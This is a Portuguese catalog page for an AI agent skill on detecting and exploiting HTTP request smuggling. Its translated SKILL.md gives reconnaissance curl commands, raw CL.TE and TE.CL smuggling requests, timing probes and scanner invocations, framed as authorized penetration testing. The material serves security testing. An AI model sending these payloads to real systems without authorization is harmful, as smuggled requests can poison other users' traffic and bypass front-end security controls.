exploiting-http-request-smuggling
Ajuda seu agente a detectar e explorar o contrabando de requisições HTTP causado por discrepâncias de análise.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'HTTP request smuggling'. Ela ocorre quando servidores diferentes em uma rede interpretam as requisições HTTP de maneiras distintas, permitindo que um atacante envie comandos maliciosos disfarçados.
Quando usar
- ✓Ao testar a segurança de sistemas que usam múltiplos servidores (como um balanceador de carga e um servidor web).
- ✓Quando você suspeita que um site pode ter falhas de segurança que permitem burlar proteções.
- ✓Durante testes de segurança autorizados em arquiteturas web complexas.
Exemplo do que pedir para a IA
“Quero testar se o site 'exemplo.com' é vulnerável a HTTP request smuggling.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta compara como o servidor frontal e o servidor traseiro interpretam os cabeçalhos 'Content-Length' e 'Transfer-Encoding' das requisições. Se houver uma diferença, ela tenta enviar requisições especiais para explorar essa falha.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-http-request-smugglingOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-http-request-smuggling/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando o HTTP Request Smuggling
Quando Usar
- Durante testes de penetração autorizados quando a aplicação fica atrás de um proxy reverso, balanceador de carga ou CDN
- Ao testar infraestruturas com múltiplos processadores HTTP na cadeia de requisições (nginx + Apache, HAProxy + Gunicorn)
- Para avaliar aplicações quanto a vulnerabilidades de dessincronização HTTP
- Quando outros vetores de ataque são limitados e você precisa contornar controles de segurança front-end
- Durante avaliações de segurança de arquiteturas web multi-camada
Pré-requisitos
- Autorização: Contrato de teste de penetração escrito cobrindo explicitamente o request smuggling (teste de alto risco)
- Burp Suite Professional: Com a extensão HTTP Request Smuggler (Turbo Intruder)
- smuggler.py: Ferramenta automatizada de detecção de HTTP request smuggling
- curl: Compilado com suporte a HTTP/1.1 e codificação chunked manual
- Conhecimento da arquitetura do alvo: Compreensão da cadeia de proxy/servidor (front-end e back-end)
- Cuidado: O request smuggling pode afetar as requisições de outros usuários; teste com cautela
Fluxo de Trabalho
Passo 1: Identificar a Arquitetura HTTP
Determine a cadeia de proxy/servidor e as características de parsing HTTP.
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app
# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
# Check if Transfer-Encoding is supported
curl -s -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "0\r\n\r\n" \
"https://target.example.com/" -w "%{http_code}"
# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
Passo 2: Testar para CL.TE Smuggling
O front-end usa Content-Length, o back-end usa Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# If response is delayed (~5-10 seconds), CL.TE is likely
Passo 3: Testar para TE.CL Smuggling
O front-end usa Transfer-Encoding, o back-end usa Content-Length.
# Burp Repeater - disable "Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
Passo 4: Usar Ferramentas de Detecção Automatizada
Execute scanners automatizados para detectar variantes de smuggling.
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results
# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"
# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected
Passo 5: Explorar Request Smuggling para Impacto
Utilize o smuggling confirmado para ataques práticos.
Perguntas frequentes
O que é 'HTTP request smuggling'?
É uma vulnerabilidade onde um atacante explora a forma como diferentes servidores em uma rede processam requisições HTTP de maneira inconsistente, podendo levar a acesso não autorizado ou outras falhas.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização explícita antes de testar qualquer sistema, pois essa técnica pode ser de alto risco e afetar a disponibilidade do serviço.
Quais ferramentas são necessárias?
Você precisará do Burp Suite Professional com uma extensão específica, além de ferramentas de linha de comando como 'curl' e um script chamado 'smuggler.py'.
Detalhes
Descrição original do autor
Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5744
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC